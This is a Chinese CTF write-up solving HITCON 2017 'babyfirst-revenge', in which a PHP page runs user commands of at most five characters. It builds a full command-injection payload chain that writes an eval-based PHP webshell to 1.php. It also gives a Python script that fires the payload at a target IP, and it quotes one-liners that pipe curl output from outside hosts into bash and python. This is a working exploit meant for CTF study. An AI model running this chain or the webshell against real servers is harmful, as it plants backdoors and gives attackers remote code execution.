前言:

 

题目是hitcon-ctf-2017的babyfirst-revenge,之前是针对babyfirst-revenge-v2来进行学习研究的

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

orange师傅给的方式是通过拼接执行来getshell

 

curl 10.188.2.20|bash
curl orange.tw|python

这里的我也是通过orange师傅的思路想出了另一种解题方法。

 

但是可能因为是环境的问题吧,系统一直把

 

 

>\;\\

 

这种长度识别位5位

但是网上给出的解释和orange师傅给的题解都是有这种的

说是后面的\\长度只能算1

所以这里演示只在babyfirst-revenge上进行演示,如果环境可以的话也是可以在4位下成功执行的

 

预备知识

 

1)通过>来创建文件

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e

2)通过ls的-t(从晚到早)参数来基于时间来排序文件

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_02

3)sh a 会把文件a里面的内容当作命令来执行

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_03

4)使用\来进行命令拼接

(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_04

5)通过base64来避免特殊字符

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_05

6)输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
*           (等同于命令:id root)

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_06

 

(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_07

 

7)增加字母来限定被用来当作命令和参数的文件名

 

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_08

(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_09

 

8)联合知识点⑦,通过rev来倒置输出内容

 

>rev
echo 1234 > v
*v    (等同于命令:rev v)

(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_10


(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_11

 

9)通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置


我们之后需要用到rev 倒置输出


所以需要列出这样形式的文件名

0>  t-  sl

 

 

>0\>
>t-
>sl

但是实际出现的效果是这样的

 

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_12

所以要增加-h来把-t往前拉 

>0\>
>ht-
>sl

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_13

 

10)用dir来代替ls不换行输出

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点⑥的命令执行

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_14

看下dir的效果,会不换行输出到文件中去

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_15

 

11)使用${IFS}来代替空格

(4)5位可控字符下的任意命令执行-----另一种解题方法_文件名_16

 

正式开始

 

首先我把下面这段代码写入到主机的0文件中去,然后后期再传入攻击payload时。通过sh执行0文件即可生成f文件,然后再让sh 去执行f文件的代码内容即可得到一句话木马

 

ls  -th  >f

所以payload如下

 

>dir
>f\>
>ht-
>sl
*>v    (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0   (等同于命令:rev v > 0)(0里面的内容为:ls -th >f)

这样我们的payload第一部分已经写完

 

接下来我们需要把 这段代码上传到主机,其中的内容为(<?php eval($_GET[1]);)base64编码后的内容

 

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

这里我们看到其中出现了2个空格,这里我们需要把其中一个空格用${IFS}替换

 

否则新的空格文件会替换旧的空格文件导致,攻击payload失效,所以变成下面这样的

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

 

那么我们只需要将上面的代码拆分倒序输入到主机即可

 

>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

 

 

然后我们需要让sh先执行0文件(ls -th >f)就会得到f文件

最后再让sh去执行f文件即可得到1.php

 

 

最终payload如下

 

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

python脚本

 

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests

url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
	for i in f:
		print("[*]" + url.format(i.strip()))
		requests.get(url.format(i.strip()))

#检查是否攻击成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
	print("[*]Attack success!!!")

演示效果:

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_17

(4)5位可控字符下的任意命令执行-----另一种解题方法_php_18

(4)5位可控字符下的任意命令执行-----另一种解题方法_5e_19